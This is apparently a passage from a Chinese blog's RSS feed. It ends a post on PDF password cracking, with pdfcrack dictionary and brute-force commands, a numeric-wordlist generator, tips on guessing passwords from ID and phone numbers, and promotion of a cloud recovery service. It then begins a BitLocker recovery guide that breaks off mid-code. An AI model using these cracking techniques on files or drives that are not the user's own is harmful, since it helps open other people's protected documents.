&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">crack_pdf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;secret.pdf&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;rockyou.txt&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-4pdfcrack轻量级开源工具">方法 4：PDFCrack（轻量级开源工具）&lt;/h3>
&lt;p>&lt;a class="link" href="https://github.com/robins/pdfcrack" target="_blank" rel="noopener"
>pdfcrack&lt;/a> 是一个专门针对 PDF 的密码破解工具：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 编译安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone https://github.com/robins/pdfcrack.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> pdfcrack
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用字典破解&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./pdfcrack -f encrypted.pdf -w wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 暴力破解（指定字符集和长度范围）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./pdfcrack -f encrypted.pdf --minlen&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span> --maxlen&lt;span class="o">=&lt;/span>&lt;span class="m">6&lt;/span> -c &lt;span class="s2">&amp;#34;0123456789&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-5云端在线恢复服务">方法 5：云端在线恢复服务&lt;/h3>
&lt;p>对于不方便本地部署工具的用户，或者 PDF 版本较高（AES-128/256）本地算力不足的情况，可以考虑云端恢复服务。&lt;/p>
&lt;p>&lt;strong>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网 (Catpasswd)&lt;/a>&lt;/strong> 支持部分加密类型的 PDF 文件密码恢复。使用流程非常简单：&lt;/p>
&lt;ol>
&lt;li>访问 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>catpasswd.com&lt;/a> → &lt;a class="link" href="https://www.catpasswd.com/recovery" target="_blank" rel="noopener"
>上传文件&lt;/a>&lt;/li>
&lt;li>上传加密的 PDF 文件&lt;/li>
&lt;li>填写邮箱等待通知&lt;/li>
&lt;li>系统利用云端算力自动尝试千万级密码组合&lt;/li>
&lt;/ol>
&lt;p>对于高度敏感的 PDF 文件（如合同、财报、法律文书），猫密网提供&lt;strong>本地特征提取工具&lt;/strong>，你可以在自己的电脑上提取文件加密特征，仅上传特征数据（几 KB），源文件完全不会离开你的电脑。&lt;/p>
&lt;blockquote>
&lt;p>💡 &lt;strong>小贴士&lt;/strong>：猫密网提供免费恢复模式，可以先试试能不能找回，不成功不收费。&lt;/p>
&lt;/blockquote>
&lt;h2 id="pdf-密码破解的实战技巧">PDF 密码破解的实战技巧&lt;/h2>
&lt;h3 id="1-先确定-pdf-版本">1. 先确定 PDF 版本&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 查看 PDF 版本和加密信息&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">qpdf --show-encryption encrypted.pdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 或使用 Python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">import pikepdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">pdf&lt;/span> &lt;span class="o">=&lt;/span> pikepdf.open&lt;span class="o">(&lt;/span>&lt;span class="s2">&amp;#34;encrypted.pdf&amp;#34;&lt;/span>, &lt;span class="nv">password&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="o">)&lt;/span> &lt;span class="c1"># 如果有打开密码需要填入&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">print&lt;span class="o">(&lt;/span>pdf.Root.Version&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>了解版本后，可以针对性选择破解策略：低版本 PDF 可以用更高效的攻击方式。&lt;/p>
&lt;h3 id="2-利用-pdf-的已知漏洞">2. 利用 PDF 的已知漏洞&lt;/h3>
&lt;p>PDF 1.4（RC4 128-bit）有一个著名的漏洞：权限密码和打开密码使用相同的加密密钥。这意味着如果你能绕过权限密码（用 qpdf），实际上就获得了文件内容。&lt;/p>
&lt;h3 id="3-常见的-pdf-密码模式">3. 常见的 PDF 密码模式&lt;/h3>
&lt;p>很多人设置 PDF 密码时会用以下模式：&lt;/p>
&lt;ul>
&lt;li>纯数字（如身份证号、手机号、生日）&lt;/li>
&lt;li>公司名/文件名 + 年份&lt;/li>
&lt;li>&amp;ldquo;password&amp;rdquo;、&amp;ldquo;123456&amp;rdquo; 等弱口令&lt;/li>
&lt;li>项目代号或合同编号&lt;/li>
&lt;/ul>
&lt;p>建议先用这些常见模式生成自定义字典，比盲目使用通用字典效率高得多。&lt;/p>
&lt;h3 id="4-银行政府类-pdf-的特殊处理">4. 银行/政府类 PDF 的特殊处理&lt;/h3>
&lt;p>银行账单、税务文件等通常使用数字密码（如身份证后6位、手机号后4位）。可以先用纯数字字典尝试：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 生成 6 位纯数字字典&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;digits6.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;w&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1000000&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="si">:&lt;/span>&lt;span class="s2">06d&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="各方法对比总结">各方法对比总结&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>密码类型&lt;/th>
&lt;th>方法&lt;/th>
&lt;th>工具&lt;/th>
&lt;th>难度&lt;/th>
&lt;th>速度&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>权限密码&lt;/td>
&lt;td>qpdf 移除&lt;/td>
&lt;td>qpdf&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>即时&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>权限密码&lt;/td>
&lt;td>pikepdf 保存&lt;/td>
&lt;td>Python&lt;/td>
&lt;td>低&lt;/td>
&lt;td>即时&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>权限密码&lt;/td>
&lt;td>Chrome 打印&lt;/td>
&lt;td>浏览器&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>即时&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>打开密码&lt;/td>
&lt;td>John the Ripper&lt;/td>
&lt;td>命令行&lt;/td>
&lt;td>中&lt;/td>
&lt;td>中&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>打开密码&lt;/td>
&lt;td>Hashcat&lt;/td>
&lt;td>GPU&lt;/td>
&lt;td>高&lt;/td>
&lt;td>快&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>打开密码&lt;/td>
&lt;td>pdfcrack&lt;/td>
&lt;td>命令行&lt;/td>
&lt;td>中&lt;/td>
&lt;td>中&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>打开密码&lt;/td>
&lt;td>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a>&lt;/td>
&lt;td>网页&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>快&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="常见问题">常见问题&lt;/h2>
&lt;h3 id="q-pdf-密码和-word-密码哪个更难破解">Q: PDF 密码和 Word 密码哪个更难破解？&lt;/h3>
&lt;p>一般来说，高版本 PDF（AES-256）比 Word 2013+ 更难破解，因为 PDF 的密钥派生函数（KDF）迭代次数更多。但低版本 PDF（RC4 40-bit）比任何版本的 Word 都容易得多。&lt;/p>
&lt;h3 id="q-adobe-acrobat-能帮忙找回密码吗">Q: Adobe Acrobat 能帮忙找回密码吗？&lt;/h3>
&lt;p>不能。Adobe Acrobat 只能设置和管理密码，没有&amp;quot;找回密码&amp;quot;功能。如果你忘记了打开密码，只能通过本文介绍的破解方法。&lt;/p>
&lt;h3 id="q-为什么有的-pdf-在线解锁工具不工作">Q: 为什么有的 PDF 在线解锁工具不工作？&lt;/h3>
&lt;p>在线解锁工具（如 ilovepdf）只能移除权限密码（Owner Password），对打开密码（User Password）无效。如果文件有打开密码，必须使用密码恢复工具。&lt;/p>
&lt;h3 id="q-扫描版-pdf-和文字版-pdf-在加密上有什么区别">Q: 扫描版 PDF 和文字版 PDF 在加密上有什么区别？&lt;/h3>
&lt;p>加密方式没有区别，但扫描版 PDF 文件通常更大（因为包含图片），上传到云端服务时可能需要注意文件大小限制。超过 100MB 的文件可以使用 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 的特征提取工具来处理。&lt;/p>
&lt;h2 id="总结">总结&lt;/h2>
&lt;p>PDF 密码破解的难度取决于 PDF 版本和加密算法：&lt;/p>
&lt;ul>
&lt;li>&lt;strong>权限密码&lt;/strong>：用 qpdf 或 pikepdf 一键移除，非常简单&lt;/li>
&lt;li>&lt;strong>打开密码 + 低版本 PDF&lt;/strong>：用 John the Ripper 或 pdfcrack，速度很快&lt;/li>
&lt;li>&lt;strong>打开密码 + 高版本 PDF&lt;/strong>：建议使用 Hashcat GPU 加速或 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 等云端服务&lt;/li>
&lt;/ul>
&lt;p>最好的策略永远是：设置密码时就记录在安全的地方（如密码管理器），避免日后给自己制造麻烦。但如果已经忘记了密码，希望本文的方法能帮到你。&lt;/p></description></item><item><title>BitLocker加密硬盘忘记密码怎么办？数据恢复完整指南（2026最新）</title><link>http://dosoos.github.io/blog_basha/p/bitlocker%E5%8A%A0%E5%AF%86%E7%A1%AC%E7%9B%98%E5%BF%98%E8%AE%B0%E5%AF%86%E7%A0%81%E6%80%8E%E4%B9%88%E5%8A%9E%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D%E5%AE%8C%E6%95%B4%E6%8C%87%E5%8D%972026%E6%9C%80%E6%96%B0/</link><pubDate>Tue, 19 May 2026 10:00:00 +0800</pubDate><guid>http://dosoos.github.io/blog_basha/p/bitlocker%E5%8A%A0%E5%AF%86%E7%A1%AC%E7%9B%98%E5%BF%98%E8%AE%B0%E5%AF%86%E7%A0%81%E6%80%8E%E4%B9%88%E5%8A%9E%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D%E5%AE%8C%E6%95%B4%E6%8C%87%E5%8D%972026%E6%9C%80%E6%96%B0/</guid><description>&lt;h2 id="前言">前言&lt;/h2>
&lt;p>BitLocker 是 Windows 内置的全盘加密功能。从 Windows 10 Pro 开始，系统就自带了这个功能。很多用户在购买新电脑后发现硬盘已经被 BitLocker 自动加密了，而自己完全不知道。&lt;/p>
&lt;p>当电脑崩溃、重装系统、或更换主板后，BitLocker 会要求输入恢复密钥。如果你之前没有保存过这个密钥，整个硬盘的数据就可能永久丢失。&lt;/p>
&lt;p>这篇文章将系统介绍 BitLocker 的恢复机制和各种密码找回方法。&lt;/p>
&lt;h2 id="bitlocker-的三种解锁方式">BitLocker 的三种解锁方式&lt;/h2>
&lt;p>BitLocker 支持三种解锁方式，了解它们对于数据恢复至关重要：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>解锁方式&lt;/th>
&lt;th>说明&lt;/th>
&lt;th>适用场景&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;strong>密码&lt;/strong>&lt;/td>
&lt;td>用户设置的解锁密码&lt;/td>
&lt;td>移动硬盘、U盘&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;strong>恢复密钥&lt;/strong>&lt;/td>
&lt;td>48 位数字密钥&lt;/td>
&lt;td>系统盘、忘记密码时的备用方案&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;strong>TPM 芯片&lt;/strong>&lt;/td>
&lt;td>主板上的可信平台模块自动解锁&lt;/td>
&lt;td>系统盘（正常使用时无感）&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;blockquote>
&lt;p>⚠️ &lt;strong>重要提醒&lt;/strong>：恢复密钥是最终的安全网。即使你忘记了密码，只要有 48 位恢复密钥，就能解锁 BitLocker。&lt;/p>
&lt;/blockquote>
&lt;h2 id="第一步找回-bitlocker-恢复密钥">第一步：找回 BitLocker 恢复密钥&lt;/h2>
&lt;p>在尝试破解之前，&lt;strong>强烈建议先找回恢复密钥&lt;/strong>，因为这比破解密码快得多。&lt;/p>
&lt;h3 id="1-microsoft-账户最常见的位置">1. Microsoft 账户（最常见的位置）&lt;/h3>
&lt;p>如果你的 Windows 使用了 Microsoft 账户登录，恢复密钥可能已自动备份到云端：&lt;/p>
&lt;ol>
&lt;li>访问 &lt;a class="link" href="https://account.microsoft.com/devices/recoverykey" target="_blank" rel="noopener"
>https://account.microsoft.com/devices/recoverykey&lt;/a>&lt;/li>
&lt;li>用你的 Microsoft 账户登录&lt;/li>
&lt;li>查看是否有对应设备的恢复密钥&lt;/li>
&lt;/ol>
&lt;h3 id="2-azure-active-directory企业用户">2. Azure Active Directory（企业用户）&lt;/h3>
&lt;p>如果电脑加入了公司域（Azure AD），恢复密钥可能存储在 Azure 中：&lt;/p>
&lt;ol>
&lt;li>访问 &lt;a class="link" href="https://myaccount.microsoft.com" target="_blank" rel="noopener"
>https://myaccount.microsoft.com&lt;/a>&lt;/li>
&lt;li>点击&amp;quot;设备&amp;quot; → 选择你的设备 → 查看 BitLocker 密钥&lt;/li>
&lt;li>或联系公司 IT 管理员获取&lt;/li>
&lt;/ol>
&lt;h3 id="3-打印的纸质备份">3. 打印的纸质备份&lt;/h3>
&lt;p>设置 BitLocker 时，系统提供了&amp;quot;打印恢复密钥&amp;quot;的选项。检查你的重要文件柜。&lt;/p>
&lt;h3 id="4-usb-备份">4. USB 备份&lt;/h3>
&lt;p>BitLocker 也支持将恢复密钥保存为 USB 驱动器上的文本文件。检查你所有的 U 盘。&lt;/p>
&lt;h3 id="5-active-directory传统域环境">5. Active Directory（传统域环境）&lt;/h3>
&lt;p>如果电脑加入了传统 Windows 域：&lt;/p>
&lt;ul>
&lt;li>联系域管理员&lt;/li>
&lt;li>管理员可以在&amp;quot;Active Directory 用户和计算机&amp;quot; → 计算机属性 → &amp;ldquo;BitLocker 恢复&amp;quot;中找到&lt;/li>
&lt;/ul>
&lt;h2 id="第二步通过命令行管理-bitlocker">第二步：通过命令行管理 BitLocker&lt;/h2>
&lt;h3 id="查看-bitlocker-状态">查看 BitLocker 状态&lt;/h3>
&lt;p>打开管理员命令提示符或 PowerShell：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 查看所有驱动器的 BitLocker 状态&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">manage-bde&lt;/span> &lt;span class="n">-status&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 查看特定驱动器&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">manage-bde&lt;/span> &lt;span class="n">-status&lt;/span> &lt;span class="n">C:&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>输出示例：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">卷 C: [Windows]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[OS 卷]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 大小: 237.87 GB
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> BitLocker 版本: 2.0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 转换状态: 已完全加密
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 加密百分比: 100.0%
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 加密方法: XTS-AES 128
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 保护状态: 保护打开
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 锁定状态: 已解锁
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 标识符: {ABCD1234-...}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 密钥保护程序:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> TPM
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> 恢复密码
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="使用恢复密钥解锁">使用恢复密钥解锁&lt;/h3>
&lt;p>如果你找到了 48 位恢复密钥：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 使用恢复密钥解锁&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">manage-bde&lt;/span> &lt;span class="n">-unlock&lt;/span> &lt;span class="n">D:&lt;/span> &lt;span class="n">-RecoveryPassword&lt;/span> &lt;span class="mf">123456&lt;/span>&lt;span class="p">-&lt;/span>&lt;span class="mf">123456&lt;/span>&lt;span class="p">-&lt;/span>&lt;span class="mf">123456&lt;/span>&lt;span class="p">-&lt;/span>&lt;span class="mf">123456&lt;/span>&lt;span class="p">-&lt;/span>&lt;span class="mf">123456&lt;/span>&lt;span class="p">-&lt;/span>&lt;span class="mf">123456&lt;/span>&lt;span class="p">-&lt;/span>&lt;span class="mf">123456&lt;/span>&lt;span class="p">-&lt;/span>&lt;span class="mf">123456&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 或使用恢复密钥文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">manage-bde&lt;/span> &lt;span class="n">-unlock&lt;/span> &lt;span class="n">D:&lt;/span> &lt;span class="n">-RecoveryKeyFile&lt;/span> &lt;span class="s2">&amp;#34;E:\BitLocker Recovery Key.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="重置-bitlocker-密码">重置 BitLocker 密码&lt;/h3>
&lt;p>如果你能解锁驱动器但想更换密码：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 更改 BitLocker 密码&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">manage-bde&lt;/span> &lt;span class="n">-changepassword&lt;/span> &lt;span class="n">D:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 或添加新的密码保护程序&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">manage-bde&lt;/span> &lt;span class="n">-protectors&lt;/span> &lt;span class="n">-add&lt;/span> &lt;span class="n">D:&lt;/span> &lt;span class="n">-password&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="第三步bitlocker-密码破解方法">第三步：BitLocker 密码破解方法&lt;/h2>
&lt;p>如果恢复密钥也找不到了，以下是密码恢复的技术方案。&lt;/p>
&lt;h3 id="方法-1dislockerlinux-下挂载-bitlocker-卷">方法 1：dislocker（Linux 下挂载 BitLocker 卷）&lt;/h3>
&lt;p>&lt;a class="link" href="https://github.com/Aorimn/dislocker" target="_blank" rel="noopener"
>dislocker&lt;/a> 是 Linux 下唯一能读写 BitLocker 加密卷的工具：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install dislocker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 创建挂载点&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo mkdir -p /mnt/bitlocker /mnt/dislocker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用恢复密码挂载&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dislocker -V /dev/sdb1 -p123456-123456-123456-123456-123456-123456-123456-123456 -- /mnt/bitlocker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 或使用密码挂载&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dislocker -V /dev/sdb1 -uYourPassword -- /mnt/bitlocker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 挂载解密后的文件系统&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo mount -o loop /mnt/bitlocker/dislocker-file /mnt/dislocker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 现在可以访问文件了&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ls /mnt/dislocker
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-2john-the-ripper-提取并破解">方法 2：John the Ripper 提取并破解&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
